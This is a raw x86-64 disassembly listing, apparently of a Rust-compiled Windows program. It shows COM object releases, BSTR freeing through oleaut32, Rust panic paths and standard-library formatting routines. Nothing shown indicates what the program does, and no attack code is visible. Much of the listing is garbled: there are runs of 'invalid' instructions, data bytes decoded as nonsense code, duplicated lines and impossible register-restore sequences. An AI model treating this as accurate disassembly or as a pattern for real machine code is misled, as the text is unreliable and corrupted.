mov qword [rbp + 0x538], rax
lea rax, [0x140149b88]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], 3
mov qword [rbp + 0x380], 0
mov qword [rbp + 0x370], rdi
mov qword [rbp + 0x378], 3
lea rdx, [0x140149bb8]
lea rcx, [rbp + 0x360]
call fcn.140108560
jmp 0x1400104c7
mov ecx, eax
call fcn.140100b40
mov r13, rax
jmp 0x14000fe09
xor r13d, r13d
jmp 0x14000fe09
mov ecx, eax
call fcn.140100b40
mov r13, rax
test r12, r12
je 0x14000fe00
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
jmp 0x14000fe00
lea r8, [0x140113d78]
mov rcx, r15
mov rdx, rbx
call fcn.1401085a0
xor r13d, r13d
xor esi, esi
jmp 0x14000fff7
xor r13d, r13d
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x510]
mov r14b, 1
test rcx, rcx
je 0x14000fe43
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x510]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
mov rcx, qword [rbp + 0x518]
test rcx, rcx
je 0x14000fe7a
lea rax, [rbp + 0x518]
mov qword [rbp + 0x800], 0
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
test r14b, r14b
je 0x14000feb6
mov rcx, qword [rbp + 0x520]
test rcx, rcx
je 0x14000feb6
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x520]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
mov rcx, qword [rbp + 0x8a8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8d8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8a0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8b0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8c8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8c0]
mov rax, qword [rcx]
call qword [rax + 0x10]
xor ebx, ebx
mov rcx, qword [rbp + 0x1d8]
test rcx, rcx
jne 0x14000eee8
jmp 0x14000ef13
lea rcx, str.assertion_failed:_filled___self.buf.init
lea r8, [0x140113dc0]
mov edx, 0x29
call fcn.140108630
xor r13d, r13d
xor esi, esi
jmp 0x14000fff4
add r9, r8
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rdx
mov qword [rbp + 0x520], rcx
mov qword [rbp + 0x528], r9
lea rax, str.src_main.rs
jmp 0x14000ffb3
add r9, r8
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rdx
mov qword [rbp + 0x520], rcx
mov qword [rbp + 0x528], r9
lea rax, str.src_main.rs
jmp 0x14000ffb3
add r9, r8
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rdx
mov qword [rbp + 0x520], rcx
mov qword [rbp + 0x528], r9
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.CString::new_failed
lea r9, [0x140113df8]
lea r8, [rbp + 0x510]
mov edx, 0x13
call fcn.1401088e0
mov ecx, eax
call fcn.140100b40
mov r13, rax
xor esi, esi
jmp 0x14000fff4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
mov sil, 1
xor r13d, r13d
xor r14d, r14d
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
test sil, sil
je 0x14000fe43
jmp 0x14000fe7a
lea rcx, [rbp + 0x780]
call fcn.1400025e0
mov qword [rbp + 0x510], rsi
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140113e98]
lea r8, [rbp + 0x510]
mov edx, 0x2b
call fcn.1401088e0
mov ecx, eax
call fcn.140100b40
mov r13, rax
jmp 0x140010245
lea rcx, str.src_main.rs
call fcn.140108970
movzx eax, byte [rbp + 0x361]
mov byte [rbp + 0xa0], al
lea rax, str.src_main.rs
jmp 0x1400100a7
lea rcx, str.src_main.rs
call fcn.140108970
movzx eax, byte [rbp + 0x361]
mov byte [rbp + 0xa0], al
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140113e58]
lea r8, [rbp + 0xa0]
mov edx, 0x2b
call fcn.1401088e0
mov rax, qword [rbp + 0x518]
mov qword [rbp + 0x1d8], rax
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140113e38]
lea r8, [rbp + 0x1d8]
mov edx, 0x2b
call fcn.1401088e0
lea rcx, str.src_main.rs
call fcn.140108970
movups xmm0, xmmword [rbp + 0x518]
movaps xmmword [rbp + 0x360], xmm0
lea rax, str.src_main.rs
jmp 0x140010153
movups xmm0, xmmword [rbp + 0x518]
movaps xmmword [rbp + 0x360], xmm0
lea rax, str.src_main.rs
jmp 0x140010153
movups xmm0, xmmword [rbp + 0x518]
movaps xmmword [rbp + 0x360], xmm0
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea r9, [0x140113e18]
lea r8, [rbp + 0x360]
mov ecx, 1
xor edx, edx
call fcn.1401088e0
call fcn.140010970
lea rax, [0x14014c988]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadlocal.rs
lea r9, [0x14013d270]
lea r8, [rbp + 0x8e7]
mov edx, 0x46
call fcn.1401088e0
xor r13d, r13d
jmp 0x140010245
mov ecx, 1
mov rdx, r13
call fcn.1401082a0
mov ecx, eax
call fcn.140100b40
mov r13, rax
test r12, r12
je 0x14001023c
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
jmp 0x14001023c
xor r14d, r14d
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
cmp dword [rbp + 0x774], 0
jns 0x140010228
mov rcx, qword [rbp + 0x510]
test rcx, rcx
je 0x140010228
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x510]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
xor r13d, r13d
test r14b, r14b
je 0x1400102b5
jmp 0x1400102ec
xor r13d, r13d
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x510]
test rcx, rcx
je 0x14001027c
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x510]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
mov rcx, qword [rbp + 0x518]
mov bl, 1
test rcx, rcx
je 0x1400102b5
lea rax, [rbp + 0x518]
mov qword [rbp + 0x800], 0
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
mov rcx, qword [rbp + 0x520]
test rcx, rcx
je 0x1400102ec
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x520]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
test bl, bl
je 0x140010327
mov rcx, qword [rbp + 0x528]
test rcx, rcx
je 0x140010327
lea rax, [rbp + 0x528]
mov qword [rbp + 0x800], 0
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
mov rcx, qword [rbp + 0x8a8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8d8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8a0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8b0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8c8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x8c0]
mov rax, qword [rcx]
call qword [rax + 0x10]
xor ebx, ebx
cmp qword [rbp + 0x4e0], 0
jne 0x14000efc2
jmp 0x14000efd8
lea rcx, str.src_main.rs
call fcn.140108970
mov ecx, 1
mov rdx, r12
call fcn.1401082a0
mov byte [rbp + 0x8e6], 1
mov ecx, 1
mov rdx, r12
call fcn.1401082a0
jmp 0x1400104c7
mov bl, 1
jmp 0x1400101d5
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rbx
mov rdx, r13
call fcn.1401085a0
jmp 0x1400104c7
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, r13
call fcn.140108620
jmp 0x1400104c7
xor ebx, ebx
jmp 0x1400101d5
lea rax, [0x140114370]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x520], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
lea rcx, [rbp + 0x510]
call fcn.1400de310
mov rcx, qword [rbp + 0x808]
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp qword [rbp + 0x4e0], 0
je 0x14000f015
mov r8, qword [rbp + 0x4e8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000f015
mov qword [rbp + 0x7d8], r13
mov ecx, 8
mov edx, 0x30
call fcn.1401082c0
jmp 0x1400104c7
mov qword [rbp + 0x8a0], rsi
mov qword [rbp + 0x7d8], r13
mov ecx, 8
mov edx, 0x30
call fcn.1401082c0
jmp 0x1400104c7
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rbx
mov rdx, r12
call fcn.140108810
jmp 0x1400104c7
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
mov rdx, r13
call fcn.140108620
ud2
invalid
movzx eax, byte [rbp + r14]
mov byte [rsp + 0x2f], al
invalid
cmp rax, 0x22
ja 0x140012ad0
invalid
movsxd rcx, dword [r15 + rax*4]
add rcx, r15
jmp rcx
scasd eax, dword [rdi]
invalid
fadd dword [rcx]
add byte [rax], al
nop dword [rax]
cmp eax, 0x5c
jne 0x140012afb
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rsp + 0x78], rax
lea rax, [fcn.140017f40]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x80], eax
lea rax, [0x140144258]
jmp 0x140012b2b
lea ecx, [rax - 0x20]
cmp cl, 0x5f
jae 0x140012bd2
or ebx, 0
add byte [rax], al
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x78], rax
lea rax, [fcn.140017f40]
mov qword [rsp + 0x80], rax
add byte [rax], al
lea rax, [0x140173648]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
add byte [rax], al
add byte [rax - 0x77], cl
int1
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rdx, rdi
lea r8, [rsp + 0x40]
call fcn.140013990
invalid
add byte [rax], al
test al, al
je 0x140012c80
invalid
jmp 0x140012ca1
mov r8d, 2
mov rcx, rsi
lea rdx, [0x140144254]
call r13
test al, al
je 0x140012c80
jmp 0x140012ca1
mov r8d, 2
mov rcx, rsi
lea rdx, [0x140144256]
call r13
test al, al
je 0x140012c80
jmp 0x140012ca1
lea rax, [rsp + 0x2f]
mov qword [rsp + 0x30], rax
lea rax, [0x140019210]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x60], 0
movabs rax, 0x800000020
mov qword [rsp + 0x68], rax
mov byte [rsp + 0x70], 3
lea rax, [0x140144270]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x40]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rax, [rsp + 0x30]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov rcx, rsi
mov rdx, rdi
lea r8, [rsp + 0x78]
call fcn.140013990
test al, al
jne 0x140012ca1
nop
inc r14
cmp r12, r14
jne 0x140012a90
lea rdx, [0x14014c9b4]
mov r8d, 1
mov rcx, rsi
call r13
mov ebx, eax
mov eax, ebx
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
adc eax, 0x10090d
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
movzx r10d, word [rdi + r9]
movd xmm3, r10d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r9, 2
cmp r11, r9
jne 0x140012e90
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r9, xmm1
cmp r11, rbx
je 0x140012ee7
xor r10d, r10d
cmp byte [rdi + r11], 0xc0
setge r10b
add r9, r10
inc r11
cmp rbx, r11
jne 0x140012ed0
add rdx, r9
mov r13, qword [rbp + 0x70]
cmp qword [rcx], 0
je 0x140012f31
mov r14, qword [rcx + 8]
sub r14, rdx
jbe 0x140012f31
test al, 8
jne case.0x14000d3b5.39
mov qword [rbp - 8], r15
movzx r15d, byte [rcx + 0x38]
lea rax, [0x1401762b0]
movsxd rdx, dword [rax + r15*4]
add rdx, rax
ret 0x8944
invalid
invalid
mov qword [rbp - 0x18], r13
jmp rdx
mov r15, r14
xor r14d, r14d
jmp case.0x140012f24.0
mov rsi, qword [rcx + 0x20]
mov r12, qword [rcx + 0x28]
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov rdx, r12
mov r9, rdi
call fcn.1400134f0
mov dil, 1
test al, al
je 0x140012f66
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [r12 + 0x18]
mov rcx, rsi
mov rdx, r13
mov r8, r15
add rsp, 0x48
pop rbx
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp rax
mov eax, dword [rcx + 0x30]
mov dword [rbp - 0xc], eax
mov dword [rcx + 0x30], 0x30
movzx eax, byte [rcx + 0x38]
mov byte [rbp + 7], al
mov byte [rcx + 0x38], 1
mov r12, qword [rcx + 0x20]
mov qword [rbp - 8], rcx
mov rsi, qword [rcx + 0x28]
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov rdx, rsi
mov r9, rdi
call fcn.1400134f0
mov dil, 1
test al, al
jne 0x140012f53
inc r14
nop dword [rax + rax]
dec r14
je 0x140012fe9
mov rcx, r12
mov edx, 0x30
call qword [rsi + 0x20]
test al, al
je 0x140012fd0
jmp 0x140012f53
mov rcx, r12
mov rdx, r13
mov r8, r15
call qword [rsi + 0x18]
test al, al
jne 0x140012f53
mov r13, qword [rbp - 8]
mov eax, dword [rbp - 0xc]
mov dword [r13 + 0x30], eax
movzx eax, byte [rbp + 7]
mov byte [r13 + 0x38], al
xor edi, edi
jmp 0x140012f53
mov r12, qword [rcx + 0x20]
mov r13, qword [rcx + 0x28]
mov esi, dword [rcx + 0x30]
inc r15
nop word cs:[rax + rax]
dec r15
je 0x14001305a
mov rcx, r12
mov edx, esi
call qword [r13 + 0x20]
test al, al
je 0x140013040
mov dil, 1
jmp 0x140012f53
mov qword [rsp + 0x20], rbx
mov rcx, r12
mov rdx, r13
mov r8d, dword [rbp - 0x10]
mov r9, rdi
call fcn.1400134f0
mov dil, 1
test al, al
jne 0x140012f53
mov rcx, r12
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
call qword [r13 + 0x18]
test al, al
jne 0x140012f53
mov rbx, r14
neg rbx
mov rdi, 0xffffffffffffffff
lea rax, [rbx + rdi]
cmp rax, 0xffffffffffffffff
je 0x1400130bc
mov rcx, r12
mov edx, esi
call qword [r13 + 0x20]
inc rdi
test al, al
je 0x1400130a0
jmp 0x1400130bf
mov rdi, r14
cmp rdi, r14
setb dil
jmp 0x140012f53
test esi, esi
je 0x140013843
cmp rsi, 1
jne 0x1400137c7
xor eax, eax
xor edx, edx
jmp 0x14001382d
mov edx, esi
and edx, 0x1e
pxor xmm0, xmm0
pxor mm0, mm0
pxor mm0, mm0
xor eax, eax
movdqa xmm1, xmmword [0x140113780]
or eax, 0xfffa6
or eax, 0xfffa6
movdqa xmm2, xmmword [0x140113790]
adc eax, 0xfffae
nop word cs:[rax + rax]
nop word cs:[rax + rax]
movzx r8d, word [rdi + rax]
movd xmm3, r8d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add rax, 2
cmp rdx, rax
jne 0x1400137f0
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq rax, xmm1
jmp 0x14001383e
xor r8d, r8d
cmp byte [rdi + rdx], 0xc0
setge r8b
add rax, r8
inc rdx
cmp rsi, rdx
jne 0x14001382d
sub r15, rax
jbe 0x140013861
movzx eax, byte [rcx + 0x38]
lea rdx, [0x1401762c0]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
xor r13d, r13d
jmp 0x14001389d
mov rax, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x28]
mov r9, qword [rcx + 0x18]
mov rcx, rax
mov rdx, rdi
mov r8, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp r9
mov r13, r15
xor r15d, r15d
jmp 0x14001389d
mov r13, r15
shr r13, 1
inc r15
shr r15, 1
mov rbx, qword [rcx + 0x20]
mov r12, qword [rcx + 0x28]
mov r14d, dword [rcx + 0x30]
inc r13
nop dword [rax]
mov rcx, rbx
dec r13
je 0x1400138c8
mov edx, r14d
call qword [r12 + 0x20]
test al, al
je 0x1400138b0
mov al, 1
jmp 0x140013917
mov rdx, rdi
mov r8, rsi
call qword [r12 + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140013917
mov rdi, r15
neg rdi
mov rsi, 0xffffffffffffffff
nop dword [rax + rax]
lea rax, [rdi + rsi]
cmp rax, 0xffffffffffffffff
je 0x14001390e
mov rcx, rbx
mov edx, r14d
call qword [r12 + 0x20]
inc rsi
test al, al
je 0x1400138f0
jmp 0x140013911
mov rsi, r15
cmp rsi, r15
setb al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov al, 1
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub rsi, rax
add rbx, rax
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call qword [r14 + 0x18]
test al, al
jne 0x1400170a7
invalid
dec dword [rax - 0x77]
stc
mov rcx, rdi
mov edx, 0x22
mov rax, qword [rbp - 0x20]
add rsp, 0x78
js 0x140017394
js 0x140017394
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
jmp rax
mov ebx, dword [rbp - 0x10]
mov r14, qword [rbp - 0x18]
jae 0x140017371
cmp byte [rbx + r12], 0xbf
jle 0x140017376
mov rax, r12
jmp 0x14001730d
mov rax, rsi
je 0x14001730d
lea rax, [0x140115318]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
mov r8, r12
mov r9, rsi
call fcn.140108ac0
lea r8, str.librarycore_srcescape.rs
lea eax, [0x140115db8]
mov edx, 0xa
mov rcx, r12
call fcn.1401085b0
lea rax, [0x140115330]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x10]
mov rdx, rsi
mov r8, r12
mov r9, r15
call fcn.140108ac0
int3
lea r9, [0x1401762d0]
movsxd rax, dword [r9 + rax*4]
add rax, r9
jmp rax
mov word [rcx], 0x305c
jmp 0x1400175fa
add byte [rax], al
add byte [rbx + 0xa755cfa], al
mov word [rcx], 0x5c5c
jmp 0x1400175fa
cmp edx, 0x80
jb 0x140017538
and r8d, 1
je 0x140017538
mov rsi, rcx
mov ecx, edx
mov edi, edx
call fcn.140017cd0
mov edx, edi
mov rcx, rsi
test al, al
je 0x140017538
add byte [rax], al
invalid
add byte [rax], al
add dh, al
test byte [r8], 0x66
add byte [rsi - 0x39], ah
hlt
add byte [rax], al
invalid
std
mov byte [rbp - 0xa], 0
mov word [rbp - 0xc], 0
mov byte [rbp - 3], 0x7d
jge 0x14001748b
mov eax, edx
add byte [rsi - 0x39], ah
hlt
jge 0x14001748b
mov eax, edx
rol byte [rcx - 0x3f], 1
call 0x12084b567
cmovs ecx, dword [rbp + 0xfd92d05]
lea eax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
invalid
invalid
mov dh, 4
shr r8d, 0x14
and r8d, 0xf
lea rax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
lea eax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
lea eax, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
movzx r8d, byte [r8 + rax]
mov byte [rbp - 9], r8b
mov r8d, edx
mov eax, edx
add byte [rax + rcx*4 + 0x45], al
test dword [rcx - 0x77], 0xe8c141d0
mov eax, edx
shr r8d, 0x10
and r8d, 0xf
mov eax, edx
shr r8d, 0x10
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 8], r8b
mov r8d, edx
shr r8d, 0xc
and r8d, 0xf
or al, 0x41
and eax, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 7], r8b
stc
mov r8d, edx
shr r8d, 8
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 6], r8b
mov r8d, edx
shr r8d, 4
and r8d, 0xf
movzx r8d, byte [r8 + rax]
mov byte [rbp - 5], r8b
mov r8d, edx
and r8d, 0xf
movzx eax, byte [r8 + rax]
mov byte [rbp - 4], al
or edx, 1
bsr eax, edx
xor eax, 0x1c
shr eax, 2
lea rdx, [rax - 2]
mov byte [rbp + rax - 0xc], 0x7b
mov word [rbp + rax - 0xe], 0x755c
movzx eax, word [rbp - 4]
mov word [rcx + 8], ax
mov rax, qword [rbp - 0xc]
hlt
mov qword [rcx], rax
mov byte [rcx + 0xa], dl
mov byte [rcx + 0xb], 0xa
or ch, cl
invalid
add dword [rax], eax
invalid
hlt
or ch, cl
invalid
rol byte [rax], 1
add byte [rcx], al
add byte [rax], al
je 0x140017538
mov word [rcx], 0x275c
jmp 0x1400175fa
invalid
jb 0x140017506
fld dword [rax]
add byte [rax], al
mov word [rcx], 0x745c
jmp 0x1400175fa
mov rsi, rcx
mov edi, edx
mov ecx, edx
call fcn.140017b90
test al, al
je 0x140017553
mov byte [rsi], 0x80
mov dword [rsi + 4], edi
jmp 0x140017608
mov byte [rbp - 0x16], 0
mov word [rbp - 0x18], 0
mov byte [rbp - 0xf], 0x7d
mov eax, edi
mov edx, edi
shr edx, 0x14
and edx, 0xf
lea rcx, str.0123456789abcdefBorrowErrorBorrowMutErroralready_borrowed:
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x15], dl
mov edx, edi
shr edx, 0x10
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x14], dl
mov edx, edi
shr edx, 0xc
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x13], dl
mov edx, edi
shr edx, 8
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x12], dl
mov edx, edi
shr edx, 4
and edx, 0xf
movzx edx, byte [rdx + rcx]
mov byte [rbp - 0x11], dl
mov edx, edi
and edx, 0xf
movzx ecx, byte [rdx + rcx]
mov byte [rbp - 0x10], cl
or eax, 1
bsr eax, eax
xor eax, 0x1c
shr eax, 2
lea rcx, [rax - 2]
mov byte [rbp + rax - 0x18], 0x7b
mov word [rbp + rax - 0x1a], 0x755c
movzx eax, word [rbp - 0x10]
mov word [rsi + 8], ax
mov rax, qword [rbp - 0x18]
mov qword [rsi], rax
mov byte [rsi + 0xa], cl
mov byte [rsi + 0xb], 0xa
jmp 0x140017608
mov qword [rcx + 2], 0
mov word [rcx + 0xa], 0x200
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
mov dword [rbp - 0x38], edx
lea rdx, [rbp - 0x28]
mov qword [rbp - 0x30], rdx
cmp qword [rsi], 0
je 0x140018f2b
test byte [rcx + rax], bl
invalid
test byte [rcx + rax], bl
add byte [rax - 0x7d], cl
cmp ebx, 1
jne 0x140018ddc
cmp rbx, 1
cmp ebx, 1
jne 0x140018ddc
xor r15d, r15d
xor edx, edx
jmp 0x140018e40
mov edx, ebx
and edx, 0x1e
invalid
pxor xmm0, xmm0
xor r15d, r15d
invalid
movdqa xmm1, xmmword [0x140113780]
movdqa xmm2, xmmword [0x140113790]
nop dword [rax + rax]
movzx r12d, word [r14 + r15]
movd xmm3, r12d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r15, 2
cmp rdx, r15
jne 0x140018e00
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r15, xmm1
cmp rdx, rbx
je 0x140018e57
xor r12d, r12d
cmp byte [r14 + rdx], 0xc0
setge r12b
add r15, r12
inc rdx
cmp rbx, rdx
jne 0x140018e40
mov r14, qword [rsi + 8]
add r15, rdi
test al, al
je 0x140018e6b
add r15, 0x14
jmp 0x140018ef9
test r8, r8
je 0x140018ef6
mov rdi, r8
movabs rdx, 0xdbe6fecebdedd5bf
mov rax, r8
mul rdx
shr rdi, 0xa
shr rdx, 0x21
shr edx, 0x21
invalid
shr edx, 0x21
xor eax, eax
cmp rdi, 0x9502f9
stc
add dl, byte [rbp + 0xabf00]
add byte [rax], al
stc
add dl, byte [rbp + 0xabf00]
add byte [rax], al
cmovb edi, eax
cmovb rdx, r8
cmp rdx, 0x186a0
jb 0x140018ec8
shr rdx, 5
movabs r8, 0xa7c5ac471b47843
mov rax, rdx
mul r8
shr rdx, 7
or edi, 5
lea eax, [rdx + 0x5fff6]
lea r8d, [rdx + 0x7ff9c]
and r8d, eax
lea eax, [rdx + 0xdfc18]
add edx, 0x7d8f0
and edx, eax
xor edx, r8d
shr edx, 0x11
add edx, edi
add r15, rdx
inc r15
jmp 0x140018ef9
inc r15
test r10, r10
cmove rcx, r11
inc rcx
test r9, r9
cmove rcx, r9
add rcx, r15
sub r14, rcx
jbe 0x140018f2b
movzx eax, byte [rsi + 0x38]
lea rcx, [0x140176370]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r12d, r12d
jmp 0x140018f50
lea rcx, [rbp - 0x58]
mov rdx, rsi
call fcn.140018ff0
jmp 0x140018fc5
mov r12, r14
xor r14d, r14d
jmp 0x140018f50
mov r12, r14
shr r12, 1
inc r14
shr r14, 1
mov rdi, qword [rsi + 0x20]
mov r15, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x30]
inc r12
nop
dec r12
je 0x140018f74
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
test al, al
je 0x140018f60
jmp 0x140018f84
lea rcx, [rbp - 0x58]
mov rdx, rsi
call fcn.140018ff0
test al, al
je 0x140018f88
mov al, 1
jmp 0x140018fc5
mov r12, r14
neg r12
mov rsi, 0xffffffffffffffff
nop word cs:[rax + rax]
lea rax, [r12 + rsi]
cmp rax, 0xffffffffffffffff
je 0x140018fbc
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
inc rsi
test al, al
je 0x140018fa0
jmp 0x140018fbf
mov rsi, r14
cmp rsi, r14
setb al
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, r9
shr r8d, 4
mov r9d, eax
and r9b, 0xf
and cl, 0xf
and cl, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx ecx, dl
movzx ecx, dl
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rsp + rcx + 0x36], r10b
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae 0x140019df0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x140019ebb
mov eax, 0x81
sub rax, r9
add rcx, rsp
add rcx, 0x38
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x140172d18]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x140019eab
call fcn.140012de0
nop
add rsp, 0xb8
add byte [rdi + 0x5e], bl
add byte [rdi + 0x5e], bl
ret
lea r8, [0x140115248]
mov edx, 0x80
call fcn.1401085a0
int3
int3
cmovs ecx, eax
mov eax, 0x27
